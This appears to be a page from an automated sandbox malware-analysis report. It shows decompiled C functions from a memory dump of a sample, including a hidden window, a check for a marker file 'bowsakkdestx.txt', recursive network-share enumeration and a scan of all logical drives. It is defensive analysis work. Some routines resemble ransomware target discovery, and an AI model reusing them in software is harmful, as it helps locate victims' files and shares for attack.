Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: b6ca082fea440d1ca5cff6801f17e255d65e87a8c4bbbad4e9973a502f76dbd1
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: b6ca082fea440d1ca5cff6801f17e255d65e87a8c4bbbad4e9973a502f76dbd1
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E00462FF0(intOrPtr* _a4, void _a8, intOrPtr _a12, intOrPtr* _a16) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t10;
				signed int _t11;
				signed int _t14;
				intOrPtr* _t15;
				void* _t16;
				signed int _t19;
				intOrPtr _t20;
				signed int _t26;
				void* _t27;
				intOrPtr* _t28;
				void* _t29;
				intOrPtr* _t33;
				intOrPtr* _t34;
				void* _t36;
				void* _t40;
				void* _t41;

				_t28 = _a16;
				if(_t28 == 0) {
					_t10 = E0047D440();
					_t38 = _a12;
					__eflags = _t10;
					_t24 = _a8;
					_t33 = _a4;
					_t31 =  !=  ? _t10 : "Enter PEM pass phrase:";
					_t11 = E0047D480(_t28, _a12, _t33, 4, _a8,  !=  ? _t10 : "Enter PEM pass phrase:", _a12, _t29);
					_t41 = _t40 + 0x14;
					__eflags = _t11;
					if(__eflags != 0) {
						L9:
						E004512D0(_t24, _t28, _t31, _t38, __eflags, 9, 0x64, 0x6d, ".\\crypto\\pem\\pem_lib.c", 0x6f);
						_t14 = E0042B420(_t33, 0, _t24) | 0xffffffff;
						__eflags = _t14;
					} else {
						do {
							_t15 = _t33;
							_t28 = _t15 + 1;
							do {
								_t26 =  *_t15;
								_t15 = _t15 + 1;
								__eflags = _t26;
							} while (_t26 != 0);
							_t14 = _t15 - _t28;
							__eflags = _t14 - 4;
							if(__eflags < 0) {
								goto L8;
							}
							goto L10;
							L8:
							_push(4);
							_push("phrase is too short, needs to be at least %d chars\n");
							_t16 = E00420E4D();
							E00422408(_t24, _t31, _t33, __eflags);
							_t19 = E0047D480(_t28, _t38, _t33, 4, _t24, _t31, _t38, _t16 + 0x40);
							_t41 = _t41 + 0x20;
							__eflags = _t19;
						} while (__eflags == 0);
						goto L9;
					}
					L10:
					return _t14;
				} else {
					_t34 = _t28;
					_t27 = _t34 + 1;
					do {
						_t20 =  *_t34;
						_t34 = _t34 + 1;
					} while (_t20 != 0);
					_t36 =  >  ? _a8 : _t34 - _t27;
					E0042D8D0(_a4, _t28, _t36);
					return _t36;
				}
			}

0x00462ff0
0x00462ff7
0x00463027
0x0046302c
0x00463030
0x00463032
0x0046303b
0x0046303f
0x00463048
0x0046304d
0x00463050
0x00463052
0x00463095
0x004630a2
0x004630b3
0x004630b3
0x00463054
0x00463054
0x00463054
0x00463056
0x00463060
0x00463060
0x00463062
0x00463063
0x00463063
0x00463067
0x00463069
0x0046306c
0x00000000
0x00000000
0x00000000
0x0046306e
0x0046306e
0x00463070
0x00463075
0x0046307e
0x00463089
0x0046308e
0x00463091
0x00463091
0x00000000
0x00463054
0x004630b6
0x004630ba
0x00462ff9
0x00462ff9
0x00462ffb
0x00463000
0x00463000
0x00463002
0x00463003
0x0046300d
0x00463018
0x00463023
0x00463023

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040C500(void* __ecx, void* __edx) {
				char _v264;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char* _t4;
				void* _t10;
				void* _t19;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t27;

				_t21 = __edx;
				_t4 =  &_v264;
				_t19 = __ecx;
				__imp__SHGetFolderPathA(0, 0x1c, 0, 0, _t4);
				if(_t4 >= 0) {
					PathAppendA( &_v264, "bowsakkdestx.txt");
					_t27 = E004220B6( &_v264, "r");
					__eflags = _t27;
					if(__eflags != 0) {
						_push(_t22);
						_push(2);
						_push(0);
						_push(_t27);
						E0042387F(_t19, _t21, _t22, _t27, __eflags);
						_push(_t27);
						_t10 = E00423455(_t19, _t21, _t22, _t27, __eflags);
						_push(_t27);
						_t23 = _t10;
						E00420CF4(_t19, _t21, _t23, _t27, __eflags);
						__eflags = _t23;
						if(__eflags == 0) {
							L7:
							_push(_t27);
							E00423A38(_t19, _t23, _t27, __eflags);
							__eflags = 0;
							return 0;
						} else {
							__eflags = _t23 - 0x400;
							if(__eflags > 0) {
								goto L7;
							} else {
								E004222F5(_t19, 1, _t23, _t27);
								_push(_t27);
								E00423A38(_t19, _t23, _t27, __eflags);
								return 1;
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return 0;
				}
			}

0x0040c500
0x0040c509
0x0040c519
0x0040c51b
0x0040c523
0x0040c539
0x0040c550
0x0040c555
0x0040c557
0x0040c561
0x0040c562
0x0040c564
0x0040c566
0x0040c567
0x0040c56c
0x0040c56d
0x0040c572
0x0040c573
0x0040c575
0x0040c57d
0x0040c57f
0x0040c5a5
0x0040c5a5
0x0040c5a6
0x0040c5ae
0x0040c5b6
0x0040c581
0x0040c581
0x0040c587
0x00000000
0x0040c589
0x0040c58e
0x0040c593
0x0040c594
0x0040c5a4
0x0040c5a4
0x0040c587
0x0040c559
0x0040c55a
0x0040c560
0x0040c560
0x0040c525
0x0040c52b
0x0040c52b

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041BA80(struct HINSTANCE__* __ecx) {
				struct HWND__* _t1;
				struct HWND__* _t6;

				 *0x513244 = __ecx;
				_t1 = CreateWindowExW(0, L"LPCWSTRszWindowClass", L"LPCWSTRszTitle", 0xcf0000, 0x80000000, 0, 0x80000000, 0, 0, 0, __ecx, 0);
				_t6 = _t1;
				if(_t6 != 0) {
					ShowWindow(_t6, 0);
					UpdateWindow(_t6);
					 *0x51323c = _t6;
					return 1;
				} else {
					return _t1;
				}
			}

0x0041baa7
0x0041baad
0x0041bab3
0x0041bab7
0x0041babe
0x0041bac5
0x0041bacb
0x0041bad7
0x0041baba
0x0041baba
0x0041baba

APIs

CreateWindowExW.USER32 ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234
sharememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00410BD0(struct _NETRESOURCE* __ecx, intOrPtr* __edx) {
				char _v8;
				signed int _v16;
				intOrPtr _v24;
				signed int _v28;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				char _v68;
				intOrPtr _v72;
				signed int _v76;
				char _v92;
				intOrPtr _v96;
				int _v100;
				char _v116;
				signed int _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				char _v132;
				signed int _v136;
				signed int _v140;
				void* _v144;
				struct _NETRESOURCE* _v148;
				signed int _v152;
				void* _v156;
				int _v160;
				int _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t88;
				signed int _t89;
				signed int _t91;
				intOrPtr _t103;
				void* _t107;
				signed int _t110;
				signed int _t111;
				signed int _t112;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				void* _t122;
				signed int _t124;
				signed int _t127;
				struct _NETRESOURCE* _t129;
				signed int _t131;
				signed int _t135;
				signed int _t136;
				signed int _t139;
				signed int _t140;
				signed int _t141;
				signed int _t142;
				signed int _t143;
				signed int _t144;
				signed int _t145;
				signed int _t146;
				signed int _t147;
				signed int _t148;
				signed int _t151;
				signed int _t152;
				signed int _t153;
				signed int _t154;
				signed int _t161;
				intOrPtr* _t164;
				signed int _t167;
				signed int _t168;
				void* _t169;

				_t129 = __ecx;
				_t168 = _t167 & 0xfffffff8;
				_push(0xffffffff);
				_push(0x4cabd6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t168;
				_t169 = _t168 - 0x98;
				_v164 = 0x4000;
				_t164 = __edx;
				_v160 = 0xffffffff;
				if(WNetOpenEnumW(2, 0, 0, __ecx,  &_v156) == 0) {
					_t122 = GlobalAlloc(0x40, _v164);
					_v144 = _t122;
					while(1) {
						E0042B420(_t122, 0, _v164);
						_t169 = _t169 + 0xc;
						_t88 = WNetEnumResourceW(_v156,  &_v160, _t122,  &_v164);
						__eflags = _t88;
						if(_t88 != 0) {
							break;
						}
						_v148 = _t88;
						__eflags = _v160 - _t88;
						if(_v160 > _t88) {
							_t124 = _t122 + 0x10;
							__eflags = _t124;
							_v152 = _t124;
							do {
								_v96 = 7;
								_v100 = 0;
								_v116 = 0;
								_v72 = 7;
								_v76 = 0;
								_v92 = 0;
								_v48 = 7;
								_v52 = 0;
								_v68 = 0;
								_v24 = 7;
								_v28 = 0;
								_v44 = 0;
								_v8 = 0;
								_t151 =  *_t124;
								_v132 =  *((intOrPtr*)(_t124 - 0x10));
								_v128 =  *((intOrPtr*)(_t124 - 0xc));
								_v124 =  *((intOrPtr*)(_t124 - 8));
								_v120 =  *(_t124 - 4);
								__eflags = _t151;
								if(_t151 != 0) {
									__eflags =  *_t151;
									if( *_t151 != 0) {
										_t146 = _t151;
										_t161 = _t146 + 2;
										do {
											_t118 =  *_t146;
											_t146 = _t146 + 2;
											__eflags = _t118;
										} while (_t118 != 0);
										_t147 = _t146 - _t161;
										__eflags = _t147;
										_t148 = _t147 >> 1;
									} else {
										_t148 = 0;
									}
									_push(_t148);
									_t129 =  &_v116;
									E00415C10(_t124, _t129, _t161, _t164, _t151);
								}
								_t152 =  *(_t124 + 4);
								__eflags = _t152;
								if(_t152 != 0) {
									__eflags =  *_t152;
									if( *_t152 != 0) {
										_t143 = _t152;
										_t38 = _t143 + 2; // 0x72
										_t161 = _t38;
										do {
											_t116 =  *_t143;
											_t143 = _t143 + 2;
											__eflags = _t116;
										} while (_t116 != 0);
										_t144 = _t143 - _t161;
										__eflags = _t144;
										_t145 = _t144 >> 1;
									} else {
										_t145 = 0;
									}
									_push(_t145);
									_t129 =  &_v92;
									E00415C10(_t124, _t129, _t161, _t164, _t152);
								}
								_t153 =  *(_t124 + 8);
								__eflags = _t153;
								if(_t153 != 0) {
									__eflags =  *_t153;
									if( *_t153 != 0) {
										_t140 = _t153;
										_t161 = _t140 + 2;
										do {
											_t114 =  *_t140;
											_t140 = _t140 + 2;
											__eflags = _t114;
										} while (_t114 != 0);
										_t141 = _t140 - _t161;
										__eflags = _t141;
										_t142 = _t141 >> 1;
									} else {
										_t142 = 0;
									}
									_push(_t142);
									_t129 =  &_v68;
									E00415C10(_t124, _t129, _t161, _t164, _t153);
								}
								_t154 =  *(_t124 + 0xc);
								__eflags = _t154;
								if(_t154 != 0) {
									__eflags =  *_t154;
									if( *_t154 != 0) {
										_t110 = _t154;
										_t161 = _t110 + 2;
										do {
											_t139 =  *_t110;
											_t110 = _t110 + 2;
											__eflags = _t139;
										} while (_t139 != 0);
										_t111 = _t110 - _t161;
										__eflags = _t111;
										_t112 = _t111 >> 1;
									} else {
										_t112 = 0;
									}
									_push(_t112);
									_t129 =  &_v44;
									E00415C10(_t124, _t129, _t161, _t164, _t154);
								}
								_t161 =  *(_t164 + 4);
								__eflags =  &_v132 - _t161;
								if( &_v132 >= _t161) {
									L41:
									__eflags = _t161 -  *((intOrPtr*)(_t164 + 8));
									if(_t161 ==  *((intOrPtr*)(_t164 + 8))) {
										_push(_t129);
										E004150C0(_t124, _t164, _t161, _t164);
									}
									_t131 =  *(_t164 + 4);
									_v140 = _t131;
									_v136 = _t131;
									_v8 = 2;
									__eflags = _t131;
									if(__eflags != 0) {
										E00418FD0(_t131, __eflags,  &_v132);
									}
								} else {
									_t103 =  *_t164;
									_t129 =  &_v132;
									__eflags = _t103 - _t129;
									if(_t103 > _t129) {
										goto L41;
									} else {
										_t135 = _t129 - _t103;
										_t127 = ((0x92492493 * _t135 >> 0x20) + _t135 >> 6 >> 0x1f) + ((0x92492493 * _t135 >> 0x20) + _t135 >> 6);
										__eflags = _t161 -  *((intOrPtr*)(_t164 + 8));
										if(_t161 ==  *((intOrPtr*)(_t164 + 8))) {
											_push(_t135);
											E004150C0(_t127, _t164, _t161, _t164);
										}
										_t136 =  *(_t164 + 4);
										_v136 = _t136;
										_v140 = _t136;
										_t107 = _t127 * 0x70 +  *_t164;
										_v8 = 1;
										__eflags = _t136;
										if(__eflags != 0) {
											E00418FD0(_t136, __eflags, _t107);
										}
										_t124 = _v152;
									}
								}
								_v8 = 0;
								 *(_t164 + 4) =  *(_t164 + 4) + 0x70;
								__eflags =  *(_t124 - 4) & 0x00000002;
								if(( *(_t124 - 4) & 0x00000002) != 0) {
									_t71 = _t124 - 0x10; // -16
									E00410BD0(_t71, _t164);
								}
								_v8 = 0xffffffff;
								E00410F20( &_v132);
								_t124 = _t124 + 0x20;
								_t129 = _v148 + 1;
								_v152 = _t124;
								_v148 = _t129;
								__eflags = _t129 - _v160;
							} while (_t129 < _v160);
							_t122 = _v144;
						}
					}
					_t89 = WNetCloseEnum(_v156);
					asm("sbb eax, eax");
					 *[fs:0x0] = _v16;
					_t91 =  ~_t89 + 1;
					__eflags = _t91;
					return _t91;
				} else {
					 *[fs:0x0] = _v16;
					return 0;
				}
			}

0x00410bd0
0x00410bd3
0x00410bd6
0x00410bd8
0x00410be3
0x00410be4
0x00410beb
0x00410bf8
0x00410c08
0x00410c0a
0x00410c1a
0x00410c3f
0x00410c41
0x00410c45
0x00410c4c
0x00410c51
0x00410c63
0x00410c69
0x00410c6b
0x00000000
0x00000000
0x00410c71
0x00410c75
0x00410c79
0x00410c7b
0x00410c7b
0x00410c7e
0x00410c82
0x00410c84
0x00410c8c
0x00410c94
0x00410c99
0x00410ca1
0x00410ca5
0x00410caa
0x00410cb5
0x00410cbc
0x00410cc1
0x00410ccc
0x00410cd3
0x00410cdb
0x00410ce5
0x00410ce7
0x00410cee
0x00410cf5
0x00410cfc
0x00410d00
0x00410d02
0x00410d04
0x00410d08
0x00410d0e
0x00410d10
0x00410d13
0x00410d13
0x00410d16
0x00410d19
0x00410d19
0x00410d1e
0x00410d1e
0x00410d20
0x00410d0a
0x00410d0a
0x00410d0a
0x00410d22
0x00410d24
0x00410d28
0x00410d28
0x00410d2d
0x00410d30
0x00410d32
0x00410d34
0x00410d38
0x00410d3e
0x00410d40
0x00410d40
0x00410d43
0x00410d43
0x00410d46
0x00410d49
0x00410d49
0x00410d4e
0x00410d4e
0x00410d50
0x00410d3a
0x00410d3a
0x00410d3a
0x00410d52
0x00410d54
0x00410d58
0x00410d58
0x00410d5d
0x00410d60
0x00410d62
0x00410d64
0x00410d68
0x00410d6e
0x00410d70
0x00410d73
0x00410d73
0x00410d76
0x00410d79
0x00410d79
0x00410d7e
0x00410d7e
0x00410d80
0x00410d6a
0x00410d6a
0x00410d6a
0x00410d82
0x00410d84
0x00410d88
0x00410d88
0x00410d8d
0x00410d90
0x00410d92
0x00410d94
0x00410d98
0x00410d9e
0x00410da0
0x00410da3
0x00410da3
0x00410da6
0x00410da9
0x00410da9
0x00410dae
0x00410dae
0x00410db0
0x00410d9a
0x00410d9a
0x00410d9a
0x00410db2
0x00410db4
0x00410dbb
0x00410dbb
0x00410dc0
0x00410dc7
0x00410dc9
0x00410e1f
0x00410e1f
0x00410e22
0x00410e24
0x00410e27
0x00410e27
0x00410e2c
0x00410e2f
0x00410e33
0x00410e37
0x00410e3f
0x00410e41
0x00410e48
0x00410e48
0x00410dcb
0x00410dcb
0x00410dcd
0x00410dd1
0x00410dd3
0x00000000
0x00410dd5
0x00410dd5
0x00410de8
0x00410dea
0x00410ded
0x00410def
0x00410df2
0x00410df2
0x00410df7
0x00410dfd
0x00410e01
0x00410e05
0x00410e07
0x00410e0f
0x00410e11
0x00410e14
0x00410e14
0x00410e19
0x00410e19
0x00410dd3
0x00410e4d
0x00410e55
0x00410e59
0x00410e60
0x00410e64
0x00410e67
0x00410e67
0x00410e70
0x00410e7b
0x00410e84
0x00410e87
0x00410e88
0x00410e8c
0x00410e90
0x00410e90
0x00410e9a
0x00410e9a
0x00410c79
0x00410ea7
0x00410eb7
0x00410eb9
0x00410ec1
0x00410ec1
0x00410ec6
0x00410c1c
0x00410c25
0x00410c32
0x00410c32

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00410A50(char __ecx) {
				signed int _v16;
				char _v28;
				intOrPtr _v48;
				char _v52;
				intOrPtr _v56;
				void* _v60;
				char _v64;
				char _v68;
				char _v76;
				unsigned int _v80;
				char _v84;
				unsigned int _v88;
				char _v89;
				intOrPtr _v96;
				intOrPtr _v101;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t35;
				int _t39;
				int _t40;
				int _t45;
				void* _t48;
				signed int _t52;
				char* _t63;
				signed int _t74;
				signed int _t75;
				void* _t76;
				char* _t77;

				_t75 = _t74 & 0xfffffff8;
				_push(0xffffffff);
				_push(0x4cab90);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t75;
				_t76 = _t75 - 0x48;
				_push(_t72);
				_push(_t70);
				_v76 = __ecx;
				_t35 = GetLogicalDrives();
				_v80 = _t35;
				_t52 = 0;
				do {
					if((_t35 >> _t52 & 0x00000001) == 0) {
						goto L11;
					}
					_push(1);
					_v48 = 0xf;
					_v52 = 0;
					_v68 = 0;
					E004156D0(_t52,  &_v68, _t70, " ");
					_v16 = 0;
					_t10 = _t52 + 0x41; // 0x41
					_push(2);
					_t59 =  >=  ? _v76 :  &_v76;
					 *( >=  ? _v76 :  &_v76) = _t10;
					E00413EA0(_t52,  &_v76, _t70, _t72, ":\\");
					_t39 = SetErrorMode(1);
					_t70 = _t39;
					_t62 =  >=  ? _v84 :  &_v84;
					_t40 = PathFileExistsA( >=  ? _v84 :  &_v84);
					_t72 = _t40;
					SetErrorMode(_t39);
					if(_t40 != 0) {
						_t44 =  >=  ? _v76 :  &_v76;
						_t45 = GetDriveTypeA( >=  ? _v76 :  &_v76);
						if(_t45 >= 2 && (_t45 <= 4 || _t45 == 6)) {
							_t77 = _t76 - 0x18;
							_v89 = 0;
							_t63 = _t77;
							_push(0xffffffff);
							 *((intOrPtr*)(_t63 + 0x14)) = 0xf;
							 *((intOrPtr*)(_t63 + 0x10)) = 0;
							 *_t63 = 0;
							E00413FF0(_t52, _t63,  &_v76, 0);
							_t48 = E00412900( &_v64, _v101);
							_t76 = _t77 + 0x18;
							_v28 = 1;
							E00413580(_t52, _v96, _t48);
							if(_v48 >= 8) {
								L00422587(_v56);
								_t76 = _t76 + 4;
							}
						}
					}
					_v16 = 0xffffffff;
					if(_v56 >= 0x10) {
						L00422587(_v76);
						_t76 = _t76 + 4;
					}
					_t35 = _v88;
					L11:
					_t52 = _t52 + 1;
				} while (_t52 < 0x1a);
				 *[fs:0x0] = _v16;
				return _t35;
			}

0x00410a53
0x00410a56
0x00410a58
0x00410a63
0x00410a64
0x00410a6b
0x00410a6f
0x00410a70
0x00410a71
0x00410a75
0x00410a7b
0x00410a7f
0x00410a81
0x00410a8a
0x00000000
0x00000000
0x00410a90
0x00410a9b
0x00410aa3
0x00410aab
0x00410ab0
0x00410ab5
0x00410ac6
0x00410ac9
0x00410acb
0x00410ad5
0x00410adb
0x00410ae2
0x00410af1
0x00410af3
0x00410af9
0x00410b00
0x00410b02
0x00410b0a
0x00410b15
0x00410b1b
0x00410b24
0x00410b30
0x00410b33
0x00410b38
0x00410b3e
0x00410b42
0x00410b49
0x00410b51
0x00410b54
0x00410b61
0x00410b66
0x00410b6e
0x00410b73
0x00410b7d
0x00410b83
0x00410b88
0x00410b88
0x00410b7d
0x00410b24
0x00410b8b
0x00410b98
0x00410b9e
0x00410ba3
0x00410ba3
0x00410ba6
0x00410baa
0x00410baa
0x00410bab
0x00410bba
0x00410bc5

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E0043B6FF(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					__eflags = _t31;
					if(_t31 != 0) {
						_push(__ebx);
						while(1) {
							__eflags = _t31 - 0xffffffe0;
							if(_t31 > 0xffffffe0) {
								break;
							}
							__eflags = _t31;
							if(_t31 == 0) {
								_t31 = _t31 + 1;
								__eflags = _t31;
							}
							_t7 = HeapReAlloc( *0x510440, 0, _a4, _t31);
							_t20 = _t7;
							__eflags = _t20;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								__eflags =  *0x510ab0 - _t7;
								if(__eflags == 0) {
									_t9 = E00425208(__eflags);
									 *_t9 = E00425261(GetLastError());
									goto L17;
								} else {
									__eflags = E0042793D(_t7, _t31);
									if(__eflags == 0) {
										_t12 = E00425208(__eflags);
										 *_t12 = E00425261(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E0042793D(_t6, _t31);
						 *((intOrPtr*)(E00425208(__eflags))) = 0xc;
						goto L12;
					} else {
						E00420BED(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E00420C62(__ebx, __edx, __edi, _a8);
				}
			}

0x0043b706
0x0043b714
0x0043b717
0x0043b719
0x0043b728
0x0043b75b
0x0043b75b
0x0043b75e
0x00000000
0x00000000
0x0043b72b
0x0043b72d
0x0043b72f
0x0043b72f
0x0043b72f
0x0043b73c
0x0043b742
0x0043b744
0x0043b746
0x0043b7a6
0x0043b7a6
0x0043b748
0x0043b748
0x0043b74e
0x0043b790
0x0043b7a4
0x00000000
0x0043b750
0x0043b757
0x0043b759
0x0043b778
0x0043b78c
0x0043b772
0x0043b772
0x0043b772
0x00000000
0x00000000
0x00000000
0x0043b759
0x0043b74e
0x00000000
0x0043b774
0x0043b761
0x0043b76c
0x00000000
0x0043b71b
0x0043b71e
0x0043b724
0x0043b724
0x0043b775
0x0043b777
0x0043b708
0x0043b712
0x0043b712

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00780000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

